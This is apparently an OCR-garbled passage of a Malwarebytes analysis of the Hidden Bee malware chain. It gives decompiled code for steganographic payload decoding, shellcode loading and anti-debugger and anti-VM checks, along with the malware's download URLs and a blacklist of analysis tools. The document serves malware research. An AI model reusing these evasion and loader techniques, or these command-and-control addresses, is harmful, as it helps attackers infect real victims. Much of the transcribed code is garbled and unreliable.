@a31eses pop BCX

e@3lesec push eax ; _DWORD

ee3leseD call ds:ExpandEnvircnmentStringsi

The decoding algorithm is simple, based on XOR:

e

=

Pd B2 R R B2

1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2f

3| _BYTE *output_arr; [/ eax

4| unsigned int indx; // esi

5| bool is _finished; // =T

6

7| output_arr = input_arr + @xld;

8| if ( input_arr[7] )

s {

@ indx = @;

1 is finished = *{{_DWORD *}input_arr + 4) == 8;
2 input_arr[7] = 9;

3 if ( !is_finished )

4 {1

= do

; {

7 output_arr[indx] “= input_arr[{indx & 7} + B];
8 ++indug

5 }

8 while { indx < *{{_DWORD *}input_arr + 4) };
L h

2| 3

3| return output_arr;

b

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,

and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLs).

The role

of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current

version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:
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Mo
push
lea

push
push
push
call
add

[

EaX

eax, [ebp+targ_@]
offset basebd Str ; "SQBodHRwOiBwvMzguNzUUMTM3Ljke0TALDC 9wdWI" . ..

eax
esi

basetd decode
esp, 1léh

[Ehh+arg:8], eax

a4

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each

sample, this set is unique. None of the URLSs can be reused: the server gives a response only once. An example of

a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eaddb6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CES
1CBE
1CC1
1CCy
1CCE
1Dl
1CD7
1CoD
1CE1
1CEY
1CEE
1CF1
1CF5S
1CFE
1CFF
1mas
1mas

jz

cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz

loc_311F3C

byte ptr [ebx], BFFh
invalid_payload

byte ptr [ebx+1], @D8h
invalid payload

word ptr [ebx+2], @E@FFh
invalid payload

byte ptr [ebx+s], "1
invalid_payload

byte ptr [ebx+7], 'F'
invalid_payload

byte ptr [ebx+8], 'I'
invalid_payload

byte ptr [ebx+3], 'F'
invalid payload

byte ptr [ebx+8sh], @
invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.
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—— v Y
Ll e 55
28311069
@B311069 wor_next:
88311069 xor [eax+esi], cl
@8311D06C inc eax
88311060 cmp eax, [ebx+18h]
@e3110ve jb short xor_next
% L |
=
Be311D072
88311072 loc_311072:
@8311072 cmp [esi+4], edi
@8311D075 ja invalid payload
Y
Ll i 5=
@831107E cmp dword ptr [ksi], 'xcr!’
@8311D081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash
is stored in the module’s header and compared with the calculated hash of the file content.

288311087 lea eax, [esi+s]
28311084 push 32
2@831108C push eax

@8311080 lea eax, [ebptvar_4C)]
@8311098 push eax

8311091 mov [ebptarg_e], 48
288311098 lea edi, [esi+28h]

88311098 call j_memcpy
28311048 push 32

288311042 lea eax, [esi+s]
883110A5 push @

283110A7 push eax

@83110A8 call j_memset
@83110AD lea eax, [ebp+var_BC]
88311083 push eax

88311064 call sha256_init
28311089 push [ebp+var_4]
@8@83110BC lea eax, [ebptwvar BC]
883110C2 push esi

2@83110C3 push eax

@83110C4 call sha256_hash

@83110C9 lea eax, [ebp+var_BC]
@883110CF push eax
8311008 lea eax, [esi+d]

28311003 push eax

28311004 call sha25&_finish
288311009 lea eax, [esi+s]
2831100C push 32

@831100DE push eax

@83110DF lea eax, [ebpt+var_4C)]
@883110E2 push eax

@83110E3 call h_memcmp
@@83110DEE add esp, 3Ch
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If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

il )=

Ba311ELF
@8311E1F loc 311E1F: 3 _DWORD
@B311E1F push 4ah
BB311E21 push 1ee8h 3 _DWORD
BB311E26 push dword ptr [edit+3] ; _DWORD
@8311E29 push ) ; _DWORD
@8311E28 call ds:WirtualAlloc
B8311E31 test eax, eax
BB311E33 mov [ebpt+shellcode_mem], eax
@B311E36 jz short loc 311E48

— |

L |
FEE
BB311E38 push dword ptr [edi+d]
@B311E3E add edi, 1eéh
@B311E3E push edi
BB311E3F push eax
B8311E48 call j_memcpy
BB311E45 add esp, 8Ch

|

The !rcx package has a simple header:

Cffsec(h) 00 01 02 03 04 05 06 OT 08 0% QR OB OC OD
00000000
00000010
00000020
00000030

31 CO 40 90 OF 8
00000040 OO0 OO E8 04 00 OO0 00 OF 00 &0 OC 58 &0 64
Q00000050 30 OO0 00 00 52 51 50 56 E8 44 00 00 00 61
00000060 54 24 04 BE 44 24 OC 56 8B 74 24 0OC 57 8
00000070 OF BT 02 42 42 23 F8 41 7C 08 83 F& 54 TF
00000080 CO 20 OF BT OE 46 46 83 F9 41 T7C 08 83 F3
00000090 03 83 C1 20 3B DT 73 04 3B C1 74 D4 5F 2B
000000RA0 C3 52 8B EC 83 EC 4C BB 45 08 53 5o 57 &b
000000BO 6A &C 58 33 C9 66 89 45 BE 66 895 45 C8 66
000000C0 CA &6 89 45 EE &6 89 45 FO &6 895 45 F6& &6

Decoding the PNG

Retrieving the content from the PNG is more complex.

T
R

Frin;

o
= ]

" 5 Ak )
S
Lt kg D Lo e

First, after downloading, the PNG header is checked:
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Size
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Code
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8@83116CE loc 3116CE:

883116CE lea eax, [ebptvar &]
88311601 push 8

88311603 push eax

88311604 push edi

@83116D5 xor esi, esi
88311607 mov [ebp+var_8], 89h
@8831160E mov [ebp+var_7], 'P'
@8831160F mov [ebp+var_&], 'N'
883116E3 mov [ebp+var_ 5], 'G'
883116E7 mov [ebp+var_4], @Dh
8B83116EE mov [ebp+var_3], @sh
BB83116EF mov [ebp+var_2], 1ah
BB3116F3 mov [ebp+var_1], @ah
@B3116F7 call j_memcmp
883116FC add esp, BCh

The function decoding the PNG has the following flow:

33| decoded buf = @;

34| png_hdr = @x89u;

35| w1z = 'P';

36| v N

37 G

38 '

39 "\n';

40 = 26;

41| vis = 1e;

42| if ( !'j_memcmp(payload, &png_hdr, B) )

43 decoded_buf = (_BYTE *)decode_from png(payload, functions_list, &size);
44| result = free(payload);

45| if ( decoded buf )

46| {

47 if ( !(size & 3) )

48

49 buf_ptr = deceded_buf;

5@ aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53 {

54 do

55 I

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 16;

58 buf_ptr += 16;

59

68 while ( index ¢ size };

&1 }

62 if { *decoded_buf == "M" && decoded_buf[1] == 'S’ && decoded_buf[2] == 'C' && decocded_buf[3] == 'F' }
&3 {

64 if ( unpack_cab(&v1@, (int)decoded buf, size) )

65

66 module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
67 load from_package{index, (int)decoded_buf, (int)}&v1e, module_name, @);
68 free_module(&via);

69 }

78 }

71

72 result = free(decoded_buf);

73| }

74| return result;

75}

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB
format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLSs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :
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During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.

@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

883185C7 mov [eax], ecx

883185C9 mov eax, ds:aria_key ptr
883185CE push dword ptr [eax]
@a318508 add eax, 4

88318503 push ebx
88318504 push eax
@p318s505 call j_memcpy
@p3185DA add esp, @Ch

e

88318500 loc_31@5D0:

@e31850D cmp ds:aria_key ptr, @
8B83185E4 jnz short continue_to download
|1
Ll s
Ba3185Ee @a31a85EE
8@83185E6 loc_31@5E6: 3 _DWORD| @@31@5EE kcntinue_tc_dcwnlcad: 3 _DWORD
B8@83185E6 push ] BB3185EE push 7
283185E8 call ds:ExitProcess ea3lesFe call ds:SetErrortode
883185F6 mov eax, [ebp+param]
883185F9 push dword ptr [eax+@Ch]
883185FC call download_and_deccde_images
B0318681 jmp loc_318AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

\Z > @ Location: |i /bin/i386/

Name v | Size Type Modified
iz core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1a2fdc79¢154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.
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Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DD9863DFE91}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:

sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
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INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.

2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:

&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation
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36 j_memset{(int}vl, @, SystemInformationLength};
37 if ( INtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38

39 while ( !blacklisted _processes[@] )

4a

41|check_next:

42 if ( !*(_DWORD *}v2 )

43 goto finished;

a4 v2 += *(_DWORD *)v2;

45 1

46 next_proc_name = blacklisted_processes;

47 _next_proc_name = blacklisted_processes;

43 while ( 1 )

49

5@ RtlInitUnicodestring(&ve, *next_proc_name);
51 if ( (_WORD)vE == *(({_WORD *)v2 + 28) )
52

53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;

55 1

56 next_proc_name = _next proc_name + 1;

57 _next_proc_name = next_proc_namej

58 if ( !*next_proc_name )}

59 goto check_next;

60 1

61 blacklisted found = 1;

62

63 [Finished:

64 LocalFree(v7);

65

66 return blacklisted found;

67}

The blacklist contains popular debuggers and sniffers:

» &« » <«

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

» <«

“ImmunityDebugger.exe”, “windbg.exe”

» o«

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.
Another function deploys a set of anti-VM checks. The anti-VM checks include:

46| ms_exc.registration.Trylevel = @;
47| CPUID check(&/27, Bx40000000);
48| *(_DWORD *)v33 = v28;
49| *(_DWORD *)&33[4] = v2
58| *(_DWORD *)&33[8] = v3
51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @;

53| if ( VPCEXT_check() )

54 goto set_wm_flag;

55| if ( VMWare io check() )

56 goto set _wm_flag;

PG -

L

-
A=
e

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a -

B824335CB push hBBBBBBBh

82433500 lea eax, [ebpt+var_544]
@2433506 push eax

82433507 call CPUID check
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82433414 pusha

8243341 mov eax, [ebptarg_ 4]
A243341E wor ehw, ehx
B2433428 xor BCH, BCX
A2433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebptarg_g]

The VMWAre 1/0 Port (more details [here]):

A243353A mov eax, VMKh'

@243353F mov ebx, 8

82433544 mov ecx, Bah

82433549 mov edx, "WVX'

B243354E in eax, dx ; check for Wware
B243354F cmp eba, "VMIh'

@2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

B824334B3 push ebx
@2433464 mov ehx, @
82433489 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ehx, ebx
82433404 setz [ebptvar_1C]

Checking the list of common VM vendors:
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57| v = decode_memory(&str_XenVMMXenViMM); JI " XenVMMenviiM™
58| if ( !strncmp(v33, ve, 12} )

59 goto set_wm_flag;

68| vl = decode_memory(&str_VMWareViMware); J "VMwareVMware”
51| if { !strncmp(v3z, v1, 12} )

62 goto set vm_flag;

63 w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"
64| if { !strncmp(v33, w2, 12} )

65 goto set_wvm_flag;

66| w3 = decode_memory{&str KVMIKVMKVM) ; JI T IEMEVMICVM™

67| if { !strncmp(v33, v3, 12} )

68 goto set_wm_flag;

59| w4 = decode_memory(&unk_2435F78); " lrpepyh  wr™
7a if ( !'strncmp(v33, w4, 12} )

71 goto set_vm_flag;

72| w5 = decode_memory(funk_ 2435F58); // "sbiedll.dll™

73| if ( GetModuleHandleA(vS) )

74 goto set_wm_flag;

75| if { !GetComputerNameW(Buffer, &nSize) )

76 goto set_wm_flag;

77| we = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
78| if ( !lstrcmpiW(Buffer, wg) )}

79 goto set_vm_flag;

28| nSize = 1824;

81| if ( !'GetUserNameW(Buffer, &nSize) )

82 goto set_wm_flag;

83| w7 = (const WCHAR *)decode_memory(&unk_2435F88);// L"CurrentUser”
84| if ( !'1strcmpiW{Buffer, w7} )

85 goto set_wm_flag;

86| wi = (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX™
87| if ( !lstrcmpiW({Buffer, w8) )

88 goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

39| w9 = decode_memory (&unk_2435EE8); /7 "StrstrIA”
96| w10 = decode_memory(&unk_2435EC8); /7 "shlwapi.dll”
91| shlwapi_dll = LoadLibraryA(v1@);

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

9a| {

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 8& ((idl = decode_memory(&unk_2435DB4), ((int (_ thiscall *)(int, WCHAR *, _BYTE *))Strstria)(vzl, Buffer, id1})// "55274-648-2673064-23950"

115 || (id2 = decode_memory(&unk_2435088), ((int (_ thiscall *){int, WCHAR *, | *))StrstrIa)(v23, Buffer, id2))// "76487-644-3177837-23518"
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127}

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.

Page 226 of 265


https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/08/load_new_module-1.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/08/load_new_module-1.png
https://blog.malwarebytes.com/blog/threat-analysis/2019/05/hidden-bee-lets-go-down-the-rabbit-hole/
https://blog.malwarebytes.com/blog/threat-analysis/2019/05/hidden-bee-lets-go-down-the-rabbit-hole/

https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
